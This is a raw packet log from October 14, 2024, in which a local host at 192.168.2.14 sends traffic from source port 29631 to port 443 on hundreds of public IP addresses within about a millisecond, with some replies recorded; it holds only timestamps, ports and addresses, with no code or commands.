Oct 14, 2024 17:34:16.879142046 CEST	443	29631	42.170.164.10	192.168.2.14
Oct 14, 2024 17:34:16.879143000 CEST	29631	443	192.168.2.14	202.7.240.255
Oct 14, 2024 17:34:16.879143000 CEST	29631	443	192.168.2.14	148.159.134.135
Oct 14, 2024 17:34:16.879143000 CEST	29631	443	192.168.2.14	94.37.38.216
Oct 14, 2024 17:34:16.879148960 CEST	443	29631	212.57.172.24	192.168.2.14
Oct 14, 2024 17:34:16.879149914 CEST	29631	443	192.168.2.14	202.107.136.159
Oct 14, 2024 17:34:16.879149914 CEST	29631	443	192.168.2.14	5.127.23.25
Oct 14, 2024 17:34:16.879149914 CEST	29631	443	192.168.2.14	123.137.46.132
Oct 14, 2024 17:34:16.879153013 CEST	443	29631	118.190.36.65	192.168.2.14
Oct 14, 2024 17:34:16.879153967 CEST	29631	443	192.168.2.14	178.28.131.11
Oct 14, 2024 17:34:16.879156113 CEST	29631	443	192.168.2.14	210.131.210.193
Oct 14, 2024 17:34:16.879158020 CEST	443	29631	123.137.46.132	192.168.2.14
Oct 14, 2024 17:34:16.879159927 CEST	443	29631	202.107.136.159	192.168.2.14
Oct 14, 2024 17:34:16.879159927 CEST	443	29631	202.7.240.255	192.168.2.14
Oct 14, 2024 17:34:16.879163980 CEST	443	29631	94.37.38.216	192.168.2.14
Oct 14, 2024 17:34:16.879164934 CEST	29631	443	192.168.2.14	123.117.0.188
Oct 14, 2024 17:34:16.879165888 CEST	443	29631	42.225.218.224	192.168.2.14
Oct 14, 2024 17:34:16.879167080 CEST	443	29631	148.159.134.135	192.168.2.14
Oct 14, 2024 17:34:16.879168987 CEST	443	29631	178.28.131.11	192.168.2.14
Oct 14, 2024 17:34:16.879168987 CEST	443	29631	210.131.210.193	192.168.2.14
Oct 14, 2024 17:34:16.879169941 CEST	29631	443	192.168.2.14	117.76.126.143
Oct 14, 2024 17:34:16.879169941 CEST	29631	443	192.168.2.14	117.236.1.19
Oct 14, 2024 17:34:16.879174948 CEST	443	29631	123.117.0.188	192.168.2.14
Oct 14, 2024 17:34:16.879178047 CEST	443	29631	5.127.23.25	192.168.2.14
Oct 14, 2024 17:34:16.879179001 CEST	443	29631	117.76.126.143	192.168.2.14
Oct 14, 2024 17:34:16.879179001 CEST	29631	443	192.168.2.14	37.23.122.130
Oct 14, 2024 17:34:16.879177094 CEST	29631	443	192.168.2.14	178.135.170.216
Oct 14, 2024 17:34:16.879179001 CEST	29631	443	192.168.2.14	94.128.193.207
Oct 14, 2024 17:34:16.879180908 CEST	29631	443	192.168.2.14	212.189.247.107
Oct 14, 2024 17:34:16.879180908 CEST	29631	443	192.168.2.14	79.190.125.43
Oct 14, 2024 17:34:16.879177094 CEST	29631	443	192.168.2.14	148.30.57.130
Oct 14, 2024 17:34:16.879179001 CEST	29631	443	192.168.2.14	5.76.58.63
Oct 14, 2024 17:34:16.879180908 CEST	29631	443	192.168.2.14	123.143.150.119
Oct 14, 2024 17:34:16.879177094 CEST	29631	443	192.168.2.14	148.44.162.199
Oct 14, 2024 17:34:16.879184961 CEST	29631	443	192.168.2.14	79.39.247.167
Oct 14, 2024 17:34:16.879182100 CEST	29631	443	192.168.2.14	148.218.206.42
Oct 14, 2024 17:34:16.879177094 CEST	29631	443	192.168.2.14	117.230.70.79
Oct 14, 2024 17:34:16.879182100 CEST	29631	443	192.168.2.14	202.161.92.48
Oct 14, 2024 17:34:16.879189014 CEST	443	29631	212.189.247.107	192.168.2.14
Oct 14, 2024 17:34:16.879177094 CEST	29631	443	192.168.2.14	178.80.232.134
Oct 14, 2024 17:34:16.879182100 CEST	29631	443	192.168.2.14	210.171.203.135
Oct 14, 2024 17:34:16.879193068 CEST	443	29631	37.23.122.130	192.168.2.14
Oct 14, 2024 17:34:16.879194021 CEST	443	29631	79.39.247.167	192.168.2.14
Oct 14, 2024 17:34:16.879183054 CEST	29631	443	192.168.2.14	109.130.239.81
Oct 14, 2024 17:34:16.879195929 CEST	29631	443	192.168.2.14	79.141.145.30
Oct 14, 2024 17:34:16.879195929 CEST	29631	443	192.168.2.14	79.113.18.15
Oct 14, 2024 17:34:16.879199028 CEST	443	29631	79.190.125.43	192.168.2.14
Oct 14, 2024 17:34:16.879200935 CEST	443	29631	5.76.58.63	192.168.2.14
Oct 14, 2024 17:34:16.879206896 CEST	443	29631	178.135.170.216	192.168.2.14
Oct 14, 2024 17:34:16.879208088 CEST	29631	443	192.168.2.14	117.207.99.232
Oct 14, 2024 17:34:16.879206896 CEST	29631	443	192.168.2.14	148.7.250.51
Oct 14, 2024 17:34:16.879208088 CEST	29631	443	192.168.2.14	210.29.45.57
Oct 14, 2024 17:34:16.879206896 CEST	29631	443	192.168.2.14	212.103.112.241
Oct 14, 2024 17:34:16.879214048 CEST	29631	443	192.168.2.14	42.182.4.47
Oct 14, 2024 17:34:16.879211903 CEST	29631	443	192.168.2.14	148.96.33.177
Oct 14, 2024 17:34:16.879214048 CEST	29631	443	192.168.2.14	109.69.23.218
Oct 14, 2024 17:34:16.879211903 CEST	29631	443	192.168.2.14	109.186.204.59
Oct 14, 2024 17:34:16.879213095 CEST	29631	443	192.168.2.14	210.213.67.217
Oct 14, 2024 17:34:16.879208088 CEST	29631	443	192.168.2.14	37.245.100.239
Oct 14, 2024 17:34:16.879214048 CEST	29631	443	192.168.2.14	210.46.105.104
Oct 14, 2024 17:34:16.879213095 CEST	29631	443	192.168.2.14	178.14.239.23
Oct 14, 2024 17:34:16.879206896 CEST	29631	443	192.168.2.14	178.95.107.145
Oct 14, 2024 17:34:16.879224062 CEST	29631	443	192.168.2.14	212.141.5.56
Oct 14, 2024 17:34:16.879224062 CEST	29631	443	192.168.2.14	117.40.105.191
Oct 14, 2024 17:34:16.879224062 CEST	29631	443	192.168.2.14	117.235.7.62
Oct 14, 2024 17:34:16.879224062 CEST	29631	443	192.168.2.14	118.62.235.14
Oct 14, 2024 17:34:16.879228115 CEST	29631	443	192.168.2.14	5.188.53.110
Oct 14, 2024 17:34:16.879229069 CEST	29631	443	192.168.2.14	212.57.172.24
Oct 14, 2024 17:34:16.879229069 CEST	29631	443	192.168.2.14	79.136.73.141
Oct 14, 2024 17:34:16.879229069 CEST	29631	443	192.168.2.14	123.146.58.174
Oct 14, 2024 17:34:16.879230976 CEST	29631	443	192.168.2.14	79.57.221.96
Oct 14, 2024 17:34:16.879231930 CEST	29631	443	192.168.2.14	117.239.35.197
Oct 14, 2024 17:34:16.879230976 CEST	29631	443	192.168.2.14	117.208.46.135
Oct 14, 2024 17:34:16.879230976 CEST	29631	443	192.168.2.14	79.9.183.215
Oct 14, 2024 17:34:16.879235983 CEST	29631	443	192.168.2.14	123.50.16.33
Oct 14, 2024 17:34:16.879235983 CEST	29631	443	192.168.2.14	202.30.120.48
Oct 14, 2024 17:34:16.879239082 CEST	29631	443	192.168.2.14	118.179.252.67
Oct 14, 2024 17:34:16.879244089 CEST	29631	443	192.168.2.14	118.67.82.22
Oct 14, 2024 17:34:16.879244089 CEST	29631	443	192.168.2.14	202.197.179.204
Oct 14, 2024 17:34:16.879244089 CEST	29631	443	192.168.2.14	118.201.101.40
Oct 14, 2024 17:34:16.879250050 CEST	29631	443	192.168.2.14	178.223.35.240
Oct 14, 2024 17:34:16.879250050 CEST	29631	443	192.168.2.14	37.119.112.123
Oct 14, 2024 17:34:16.879250050 CEST	29631	443	192.168.2.14	210.11.232.150
Oct 14, 2024 17:34:16.879250050 CEST	29631	443	192.168.2.14	42.170.164.10
Oct 14, 2024 17:34:16.879251957 CEST	29631	443	192.168.2.14	94.94.11.29
Oct 14, 2024 17:34:16.879251957 CEST	29631	443	192.168.2.14	2.115.193.191
Oct 14, 2024 17:34:16.879251957 CEST	29631	443	192.168.2.14	202.107.136.159
Oct 14, 2024 17:34:16.879260063 CEST	29631	443	192.168.2.14	37.92.212.251
Oct 14, 2024 17:34:16.879260063 CEST	29631	443	192.168.2.14	210.238.44.12
Oct 14, 2024 17:34:16.879264116 CEST	29631	443	192.168.2.14	117.56.5.55
Oct 14, 2024 17:34:16.879270077 CEST	29631	443	192.168.2.14	5.26.194.126
Oct 14, 2024 17:34:16.879270077 CEST	29631	443	192.168.2.14	202.169.86.52
Oct 14, 2024 17:34:16.879270077 CEST	29631	443	192.168.2.14	210.131.210.193
Oct 14, 2024 17:34:16.879272938 CEST	29631	443	192.168.2.14	5.248.23.54
Oct 14, 2024 17:34:16.879273891 CEST	29631	443	192.168.2.14	109.143.87.57
Oct 14, 2024 17:34:16.879273891 CEST	29631	443	192.168.2.14	2.27.47.136
Oct 14, 2024 17:34:16.879273891 CEST	29631	443	192.168.2.14	118.190.36.65
Oct 14, 2024 17:34:16.879277945 CEST	29631	443	192.168.2.14	118.111.97.73
Oct 14, 2024 17:34:16.879277945 CEST	29631	443	192.168.2.14	148.250.148.47
Oct 14, 2024 17:34:16.879277945 CEST	29631	443	192.168.2.14	148.159.134.135
Oct 14, 2024 17:34:16.879277945 CEST	29631	443	192.168.2.14	202.7.240.255
Oct 14, 2024 17:34:16.879277945 CEST	29631	443	192.168.2.14	94.37.38.216
Oct 14, 2024 17:34:16.879277945 CEST	29631	443	192.168.2.14	2.50.205.95
Oct 14, 2024 17:34:16.879296064 CEST	29631	443	192.168.2.14	42.48.207.33
Oct 14, 2024 17:34:16.879296064 CEST	29631	443	192.168.2.14	37.23.122.130
Oct 14, 2024 17:34:16.879296064 CEST	29631	443	192.168.2.14	94.78.128.239
Oct 14, 2024 17:34:16.879296064 CEST	29631	443	192.168.2.14	178.28.131.11
Oct 14, 2024 17:34:16.879297972 CEST	29631	443	192.168.2.14	37.76.58.253
Oct 14, 2024 17:34:16.879298925 CEST	29631	443	192.168.2.14	117.199.190.226
Oct 14, 2024 17:34:16.879297972 CEST	29631	443	192.168.2.14	118.54.144.76
Oct 14, 2024 17:34:16.879298925 CEST	29631	443	192.168.2.14	202.106.150.93
Oct 14, 2024 17:34:16.879298925 CEST	29631	443	192.168.2.14	117.18.122.183
Oct 14, 2024 17:34:16.879300117 CEST	29631	443	192.168.2.14	123.155.19.232
Oct 14, 2024 17:34:16.879301071 CEST	29631	443	192.168.2.14	212.162.226.220
Oct 14, 2024 17:34:16.879300117 CEST	29631	443	192.168.2.14	79.197.247.212
Oct 14, 2024 17:34:16.879301071 CEST	29631	443	192.168.2.14	79.39.247.167
Oct 14, 2024 17:34:16.879300117 CEST	29631	443	192.168.2.14	123.117.0.188
Oct 14, 2024 17:34:16.879301071 CEST	29631	443	192.168.2.14	117.76.126.143
Oct 14, 2024 17:34:16.879300117 CEST	29631	443	192.168.2.14	79.190.125.43
Oct 14, 2024 17:34:16.879307985 CEST	29631	443	192.168.2.14	2.86.115.96
Oct 14, 2024 17:34:16.879307985 CEST	29631	443	192.168.2.14	202.129.80.198
Oct 14, 2024 17:34:16.879307985 CEST	29631	443	192.168.2.14	5.127.23.25
Oct 14, 2024 17:34:16.879307985 CEST	29631	443	192.168.2.14	37.34.111.78
Oct 14, 2024 17:34:16.879309893 CEST	29631	443	192.168.2.14	5.76.58.63
Oct 14, 2024 17:34:16.879307985 CEST	29631	443	192.168.2.14	79.163.150.72
Oct 14, 2024 17:34:16.879309893 CEST	29631	443	192.168.2.14	94.11.34.83
Oct 14, 2024 17:34:16.879307985 CEST	29631	443	192.168.2.14	148.160.54.31
Oct 14, 2024 17:34:16.879312038 CEST	29631	443	192.168.2.14	202.169.213.166
Oct 14, 2024 17:34:16.879312038 CEST	29631	443	192.168.2.14	148.126.179.76
Oct 14, 2024 17:34:16.879312038 CEST	29631	443	192.168.2.14	148.42.65.2
Oct 14, 2024 17:34:16.879313946 CEST	29631	443	192.168.2.14	212.164.152.216
Oct 14, 2024 17:34:16.879313946 CEST	29631	443	192.168.2.14	123.251.118.26
Oct 14, 2024 17:34:16.879314899 CEST	29631	443	192.168.2.14	178.135.170.216
Oct 14, 2024 17:34:16.879319906 CEST	29631	443	192.168.2.14	2.189.94.153
Oct 14, 2024 17:34:16.879321098 CEST	29631	443	192.168.2.14	212.115.131.31
Oct 14, 2024 17:34:16.879321098 CEST	29631	443	192.168.2.14	5.81.213.100
Oct 14, 2024 17:34:16.879322052 CEST	29631	443	192.168.2.14	42.225.218.224
Oct 14, 2024 17:34:16.879321098 CEST	29631	443	192.168.2.14	123.137.46.132
Oct 14, 2024 17:34:16.879322052 CEST	29631	443	192.168.2.14	212.219.117.210
Oct 14, 2024 17:34:16.879322052 CEST	29631	443	192.168.2.14	212.205.56.13
Oct 14, 2024 17:34:16.879322052 CEST	29631	443	192.168.2.14	178.141.189.200
Oct 14, 2024 17:34:16.879324913 CEST	29631	443	192.168.2.14	123.37.84.132
Oct 14, 2024 17:34:16.879326105 CEST	29631	443	192.168.2.14	210.160.75.26
Oct 14, 2024 17:34:16.879326105 CEST	29631	443	192.168.2.14	202.207.131.161
Oct 14, 2024 17:34:16.879331112 CEST	29631	443	192.168.2.14	178.149.3.71
Oct 14, 2024 17:34:16.879338980 CEST	29631	443	192.168.2.14	5.41.248.179
Oct 14, 2024 17:34:16.879338980 CEST	29631	443	192.168.2.14	212.189.247.107
Oct 14, 2024 17:34:16.879339933 CEST	29631	443	192.168.2.14	123.47.89.113
Oct 14, 2024 17:34:16.879340887 CEST	29631	443	192.168.2.14	5.33.93.240
Oct 14, 2024 17:34:16.879345894 CEST	29631	443	192.168.2.14	94.248.134.83
Oct 14, 2024 17:34:16.879352093 CEST	29631	443	192.168.2.14	210.190.1.120
Oct 14, 2024 17:34:16.879354954 CEST	29631	443	192.168.2.14	148.189.220.24
Oct 14, 2024 17:34:16.879355907 CEST	29631	443	192.168.2.14	94.152.12.16
Oct 14, 2024 17:34:16.879355907 CEST	29631	443	192.168.2.14	123.87.115.186
Oct 14, 2024 17:34:16.879365921 CEST	29631	443	192.168.2.14	118.33.244.76
Oct 14, 2024 17:34:16.879368067 CEST	29631	443	192.168.2.14	42.243.236.226
Oct 14, 2024 17:34:16.879369020 CEST	29631	443	192.168.2.14	2.239.251.182
Oct 14, 2024 17:34:16.879395962 CEST	29631	443	192.168.2.14	148.52.135.118
Oct 14, 2024 17:34:16.879395962 CEST	29631	443	192.168.2.14	37.129.127.221
Oct 14, 2024 17:34:16.879403114 CEST	29631	443	192.168.2.14	37.95.246.100
Oct 14, 2024 17:34:16.879406929 CEST	29631	443	192.168.2.14	210.174.7.27
Oct 14, 2024 17:34:16.879410982 CEST	443	29631	37.95.246.100	192.168.2.14
Oct 14, 2024 17:34:16.879410982 CEST	29631	443	192.168.2.14	148.185.222.91
Oct 14, 2024 17:34:16.879410982 CEST	29631	443	192.168.2.14	117.106.170.214
Oct 14, 2024 17:34:16.879415035 CEST	29631	443	192.168.2.14	109.241.241.189
Oct 14, 2024 17:34:16.879416943 CEST	29631	443	192.168.2.14	210.81.119.144
Oct 14, 2024 17:34:16.879415035 CEST	29631	443	192.168.2.14	109.94.116.8
Oct 14, 2024 17:34:16.879427910 CEST	29631	443	192.168.2.14	123.252.203.212
Oct 14, 2024 17:34:16.879436016 CEST	29631	443	192.168.2.14	118.233.137.68
Oct 14, 2024 17:34:16.879437923 CEST	29631	443	192.168.2.14	79.112.95.142
Oct 14, 2024 17:34:16.879447937 CEST	29631	443	192.168.2.14	148.0.1.111
Oct 14, 2024 17:34:16.879456997 CEST	29631	443	192.168.2.14	210.230.19.62
Oct 14, 2024 17:34:16.879456997 CEST	29631	443	192.168.2.14	2.143.101.183
Oct 14, 2024 17:34:16.879457951 CEST	29631	443	192.168.2.14	37.95.246.100
Oct 14, 2024 17:34:16.879466057 CEST	29631	443	192.168.2.14	5.157.223.145
Oct 14, 2024 17:34:16.879466057 CEST	29631	443	192.168.2.14	37.6.28.123
Oct 14, 2024 17:34:16.879467964 CEST	29631	443	192.168.2.14	178.229.104.230
Oct 14, 2024 17:34:16.879475117 CEST	29631	443	192.168.2.14	42.226.200.69
Oct 14, 2024 17:34:16.879477024 CEST	29631	443	192.168.2.14	210.53.246.210
Oct 14, 2024 17:34:16.879477024 CEST	29631	443	192.168.2.14	117.237.186.195
Oct 14, 2024 17:34:16.879478931 CEST	29631	443	192.168.2.14	212.159.97.215
Oct 14, 2024 17:34:16.879483938 CEST	29631	443	192.168.2.14	79.87.174.96
Oct 14, 2024 17:34:16.879496098 CEST	29631	443	192.168.2.14	94.200.177.170
Oct 14, 2024 17:34:16.879496098 CEST	29631	443	192.168.2.14	210.39.247.89
Oct 14, 2024 17:34:16.879508972 CEST	29631	443	192.168.2.14	94.133.85.105
Oct 14, 2024 17:34:16.879508972 CEST	29631	443	192.168.2.14	148.117.251.212
Oct 14, 2024 17:34:16.879517078 CEST	29631	443	192.168.2.14	118.247.96.116
Oct 14, 2024 17:34:16.879518986 CEST	29631	443	192.168.2.14	5.44.158.127
Oct 14, 2024 17:34:16.879518986 CEST	29631	443	192.168.2.14	210.252.49.83
Oct 14, 2024 17:34:16.879523039 CEST	29631	443	192.168.2.14	79.205.91.14
Oct 14, 2024 17:34:16.879524946 CEST	29631	443	192.168.2.14	109.19.154.159
Oct 14, 2024 17:34:16.879524946 CEST	29631	443	192.168.2.14	178.140.131.99
Oct 14, 2024 17:34:16.879524946 CEST	29631	443	192.168.2.14	5.10.235.24
Oct 14, 2024 17:34:16.879530907 CEST	29631	443	192.168.2.14	109.251.199.173
Oct 14, 2024 17:34:16.879539013 CEST	29631	443	192.168.2.14	2.47.171.54
Oct 14, 2024 17:34:16.879544020 CEST	29631	443	192.168.2.14	210.119.202.3
Oct 14, 2024 17:34:16.879554033 CEST	29631	443	192.168.2.14	117.148.53.55
Oct 14, 2024 17:34:16.879554033 CEST	29631	443	192.168.2.14	123.73.57.212
Oct 14, 2024 17:34:16.879554033 CEST	29631	443	192.168.2.14	109.168.176.133
Oct 14, 2024 17:34:16.879560947 CEST	29631	443	192.168.2.14	79.101.125.255
Oct 14, 2024 17:34:16.879563093 CEST	29631	443	192.168.2.14	212.83.30.138
Oct 14, 2024 17:34:16.879563093 CEST	29631	443	192.168.2.14	5.66.137.52
Oct 14, 2024 17:34:16.879563093 CEST	29631	443	192.168.2.14	210.219.24.75
Oct 14, 2024 17:34:16.879570007 CEST	29631	443	192.168.2.14	202.15.233.196
Oct 14, 2024 17:34:16.879570961 CEST	29631	443	192.168.2.14	2.65.162.82
Oct 14, 2024 17:34:16.879570007 CEST	29631	443	192.168.2.14	94.235.45.79
Oct 14, 2024 17:34:16.879573107 CEST	29631	443	192.168.2.14	117.180.228.48
Oct 14, 2024 17:34:16.879585028 CEST	29631	443	192.168.2.14	212.32.217.24
Oct 14, 2024 17:34:16.879585981 CEST	29631	443	192.168.2.14	94.185.37.152
Oct 14, 2024 17:34:16.879585981 CEST	29631	443	192.168.2.14	109.193.118.242
Oct 14, 2024 17:34:16.879585981 CEST	29631	443	192.168.2.14	42.126.38.29
Oct 14, 2024 17:34:16.879595995 CEST	29631	443	192.168.2.14	2.53.205.211
Oct 14, 2024 17:34:16.879600048 CEST	29631	443	192.168.2.14	212.5.201.162
Oct 14, 2024 17:34:16.879600048 CEST	29631	443	192.168.2.14	5.143.175.177
Oct 14, 2024 17:34:16.879606009 CEST	29631	443	192.168.2.14	109.200.87.151
Oct 14, 2024 17:34:16.879606009 CEST	29631	443	192.168.2.14	117.187.213.166
Oct 14, 2024 17:34:16.879612923 CEST	29631	443	192.168.2.14	79.132.230.210
Oct 14, 2024 17:34:16.879617929 CEST	29631	443	192.168.2.14	117.28.163.19
Oct 14, 2024 17:34:16.879617929 CEST	29631	443	192.168.2.14	79.85.199.225
Oct 14, 2024 17:34:16.879622936 CEST	29631	443	192.168.2.14	2.6.210.236
Oct 14, 2024 17:34:16.879623890 CEST	29631	443	192.168.2.14	118.240.91.107
Oct 14, 2024 17:34:16.879626989 CEST	29631	443	192.168.2.14	178.130.5.58
Oct 14, 2024 17:34:16.879628897 CEST	29631	443	192.168.2.14	5.100.230.49
Oct 14, 2024 17:34:16.879628897 CEST	29631	443	192.168.2.14	117.193.58.78
Oct 14, 2024 17:34:16.879641056 CEST	29631	443	192.168.2.14	2.216.196.190
Oct 14, 2024 17:34:16.879642963 CEST	29631	443	192.168.2.14	94.16.86.134
Oct 14, 2024 17:34:16.879647970 CEST	29631	443	192.168.2.14	118.1.33.104
Oct 14, 2024 17:34:16.879648924 CEST	29631	443	192.168.2.14	178.93.26.21
Oct 14, 2024 17:34:16.879661083 CEST	29631	443	192.168.2.14	37.12.93.103
Oct 14, 2024 17:34:16.879662037 CEST	29631	443	192.168.2.14	2.112.21.109
Oct 14, 2024 17:34:16.879662037 CEST	29631	443	192.168.2.14	202.211.88.249
Oct 14, 2024 17:34:16.879666090 CEST	29631	443	192.168.2.14	148.217.158.75
Oct 14, 2024 17:34:16.879666090 CEST	29631	443	192.168.2.14	79.183.56.117
Oct 14, 2024 17:34:16.879677057 CEST	29631	443	192.168.2.14	118.5.157.141
Oct 14, 2024 17:34:16.879677057 CEST	29631	443	192.168.2.14	94.114.42.136
Oct 14, 2024 17:34:16.879682064 CEST	29631	443	192.168.2.14	148.101.225.53
Oct 14, 2024 17:34:16.879682064 CEST	29631	443	192.168.2.14	5.145.47.44
Oct 14, 2024 17:34:16.879688025 CEST	29631	443	192.168.2.14	118.77.138.111
Oct 14, 2024 17:34:16.879688025 CEST	29631	443	192.168.2.14	202.112.200.161
Oct 14, 2024 17:34:16.879693031 CEST	29631	443	192.168.2.14	118.237.61.105
Oct 14, 2024 17:34:16.879694939 CEST	29631	443	192.168.2.14	37.189.18.4
Oct 14, 2024 17:34:16.879704952 CEST	29631	443	192.168.2.14	109.6.168.173
Oct 14, 2024 17:34:16.879704952 CEST	29631	443	192.168.2.14	123.114.218.72
Oct 14, 2024 17:34:16.879707098 CEST	29631	443	192.168.2.14	79.92.139.185
Oct 14, 2024 17:34:16.879714966 CEST	29631	443	192.168.2.14	2.63.48.45
Oct 14, 2024 17:34:16.879715919 CEST	29631	443	192.168.2.14	94.243.231.253
Oct 14, 2024 17:34:16.879724026 CEST	29631	443	192.168.2.14	178.177.94.61
Oct 14, 2024 17:34:16.879728079 CEST	29631	443	192.168.2.14	202.253.151.91
Oct 14, 2024 17:34:16.879729986 CEST	29631	443	192.168.2.14	212.249.86.3
Oct 14, 2024 17:34:16.879729986 CEST	29631	443	192.168.2.14	5.75.235.5
Oct 14, 2024 17:34:16.879729986 CEST	29631	443	192.168.2.14	5.41.218.98
Oct 14, 2024 17:34:16.879730940 CEST	29631	443	192.168.2.14	5.117.33.142
Oct 14, 2024 17:34:16.879730940 CEST	29631	443	192.168.2.14	94.61.239.77
Oct 14, 2024 17:34:16.879740953 CEST	29631	443	192.168.2.14	118.147.157.122
Oct 14, 2024 17:34:16.879740953 CEST	29631	443	192.168.2.14	210.221.37.7
Oct 14, 2024 17:34:16.879748106 CEST	29631	443	192.168.2.14	79.80.159.172
Oct 14, 2024 17:34:16.879748106 CEST	29631	443	192.168.2.14	123.234.29.189
Oct 14, 2024 17:34:16.879755020 CEST	29631	443	192.168.2.14	202.238.74.15
Oct 14, 2024 17:34:16.879765987 CEST	29631	443	192.168.2.14	210.150.100.2
Oct 14, 2024 17:34:16.879765987 CEST	29631	443	192.168.2.14	2.129.185.96
Oct 14, 2024 17:34:16.879770994 CEST	29631	443	192.168.2.14	210.180.71.233
Oct 14, 2024 17:34:16.879770994 CEST	29631	443	192.168.2.14	2.5.15.94
Oct 14, 2024 17:34:16.879770994 CEST	29631	443	192.168.2.14	210.39.214.149
Oct 14, 2024 17:34:16.879775047 CEST	29631	443	192.168.2.14	178.114.99.38
Oct 14, 2024 17:34:16.879775047 CEST	29631	443	192.168.2.14	210.31.91.225
Oct 14, 2024 17:34:16.879775047 CEST	29631	443	192.168.2.14	109.252.138.225
Oct 14, 2024 17:34:16.879776001 CEST	29631	443	192.168.2.14	148.36.184.123
Oct 14, 2024 17:34:16.879781961 CEST	29631	443	192.168.2.14	94.208.140.10
Oct 14, 2024 17:34:16.879789114 CEST	29631	443	192.168.2.14	123.13.6.56
Oct 14, 2024 17:34:16.879796028 CEST	29631	443	192.168.2.14	5.51.59.143
Oct 14, 2024 17:34:16.879796028 CEST	29631	443	192.168.2.14	210.57.2.147
Oct 14, 2024 17:34:16.879801989 CEST	29631	443	192.168.2.14	109.180.242.103
Oct 14, 2024 17:34:16.879801989 CEST	29631	443	192.168.2.14	37.47.95.93
Oct 14, 2024 17:34:16.879803896 CEST	29631	443	192.168.2.14	109.146.24.15
Oct 14, 2024 17:34:16.879805088 CEST	29631	443	192.168.2.14	123.101.10.52
Oct 14, 2024 17:34:16.879817963 CEST	29631	443	192.168.2.14	2.118.221.196
Oct 14, 2024 17:34:16.879817963 CEST	29631	443	192.168.2.14	212.78.132.30
Oct 14, 2024 17:34:16.879823923 CEST	29631	443	192.168.2.14	79.225.11.69
Oct 14, 2024 17:34:16.879825115 CEST	29631	443	192.168.2.14	202.3.191.120
Oct 14, 2024 17:34:16.879842997 CEST	29631	443	192.168.2.14	79.197.26.189
Oct 14, 2024 17:34:16.879842997 CEST	29631	443	192.168.2.14	210.52.238.222
Oct 14, 2024 17:34:16.879846096 CEST	29631	443	192.168.2.14	37.72.165.32
Oct 14, 2024 17:34:16.879846096 CEST	29631	443	192.168.2.14	117.114.105.145
Oct 14, 2024 17:34:16.879846096 CEST	29631	443	192.168.2.14	94.209.148.127
Oct 14, 2024 17:34:16.879846096 CEST	29631	443	192.168.2.14	178.120.141.44
Oct 14, 2024 17:34:16.879846096 CEST	29631	443	192.168.2.14	117.129.117.128
Oct 14, 2024 17:34:16.879846096 CEST	29631	443	192.168.2.14	79.79.89.238
Oct 14, 2024 17:34:16.879862070 CEST	29631	443	192.168.2.14	118.109.142.101
Oct 14, 2024 17:34:16.879862070 CEST	29631	443	192.168.2.14	2.99.4.152
Oct 14, 2024 17:34:16.879862070 CEST	29631	443	192.168.2.14	42.181.81.170
Oct 14, 2024 17:34:16.879870892 CEST	29631	443	192.168.2.14	37.51.83.190
Oct 14, 2024 17:34:16.879878044 CEST	29631	443	192.168.2.14	212.4.144.15
Oct 14, 2024 17:34:16.879878044 CEST	29631	443	192.168.2.14	94.104.149.164
Oct 14, 2024 17:34:16.879880905 CEST	29631	443	192.168.2.14	117.51.149.90
Oct 14, 2024 17:34:16.879894018 CEST	29631	443	192.168.2.14	178.170.55.235
Oct 14, 2024 17:34:16.879894972 CEST	29631	443	192.168.2.14	210.53.72.175
Oct 14, 2024 17:34:16.879895926 CEST	29631	443	192.168.2.14	5.175.75.51
Oct 14, 2024 17:34:16.879895926 CEST	29631	443	192.168.2.14	117.239.207.160
Oct 14, 2024 17:34:16.879895926 CEST	29631	443	192.168.2.14	178.212.182.201
Oct 14, 2024 17:34:16.879899979 CEST	29631	443	192.168.2.14	123.227.125.204
Oct 14, 2024 17:34:16.879899979 CEST	29631	443	192.168.2.14	94.70.29.174
Oct 14, 2024 17:34:16.879906893 CEST	29631	443	192.168.2.14	5.151.101.125
Oct 14, 2024 17:34:16.879915953 CEST	29631	443	192.168.2.14	202.125.113.225
Oct 14, 2024 17:34:16.879918098 CEST	29631	443	192.168.2.14	118.21.93.216
Oct 14, 2024 17:34:16.879925966 CEST	29631	443	192.168.2.14	210.98.190.250
Oct 14, 2024 17:34:16.879939079 CEST	29631	443	192.168.2.14	178.123.119.40
Oct 14, 2024 17:34:16.879940033 CEST	29631	443	192.168.2.14	42.248.161.9
Oct 14, 2024 17:34:16.879940987 CEST	29631	443	192.168.2.14	212.95.61.233
Oct 14, 2024 17:34:16.879940987 CEST	29631	443	192.168.2.14	5.87.134.214
Oct 14, 2024 17:34:16.879940987 CEST	29631	443	192.168.2.14	210.125.231.21
Oct 14, 2024 17:34:16.879940987 CEST	29631	443	192.168.2.14	37.54.115.9
Oct 14, 2024 17:34:16.879940987 CEST	29631	443	192.168.2.14	94.136.195.29
Oct 14, 2024 17:34:16.879942894 CEST	29631	443	192.168.2.14	212.148.122.78
Oct 14, 2024 17:34:16.879945040 CEST	29631	443	192.168.2.14	210.221.115.115
Oct 14, 2024 17:34:16.879949093 CEST	29631	443	192.168.2.14	148.234.44.67
Oct 14, 2024 17:34:16.879956961 CEST	29631	443	192.168.2.14	5.216.44.90
Oct 14, 2024 17:34:16.879961967 CEST	29631	443	192.168.2.14	123.201.93.22
Oct 14, 2024 17:34:16.879971981 CEST	29631	443	192.168.2.14	42.162.140.101
Oct 14, 2024 17:34:16.879990101 CEST	29631	443	192.168.2.14	94.253.68.231
Oct 14, 2024 17:34:16.879991055 CEST	29631	443	192.168.2.14	94.160.132.79
Oct 14, 2024 17:34:16.879996061 CEST	29631	443	192.168.2.14	148.137.205.136
Oct 14, 2024 17:34:16.879997015 CEST	29631	443	192.168.2.14	94.162.2.87
Oct 14, 2024 17:34:16.880004883 CEST	29631	443	192.168.2.14	94.33.189.230
Oct 14, 2024 17:34:16.880004883 CEST	29631	443	192.168.2.14	118.48.219.236
Oct 14, 2024 17:34:16.880004883 CEST	29631	443	192.168.2.14	2.4.122.42
Oct 14, 2024 17:34:16.880004883 CEST	29631	443	192.168.2.14	212.177.157.128
Oct 14, 2024 17:34:16.880007982 CEST	29631	443	192.168.2.14	123.181.216.129
Oct 14, 2024 17:34:16.880007982 CEST	29631	443	192.168.2.14	148.166.151.19
Oct 14, 2024 17:34:16.880019903 CEST	29631	443	192.168.2.14	5.246.11.215
Oct 14, 2024 17:34:16.880019903 CEST	29631	443	192.168.2.14	5.207.88.55
Oct 14, 2024 17:34:16.880019903 CEST	29631	443	192.168.2.14	117.85.227.98
Oct 14, 2024 17:34:16.880023003 CEST	29631	443	192.168.2.14	118.61.176.23
Oct 14, 2024 17:34:16.880023003 CEST	29631	443	192.168.2.14	210.195.84.53
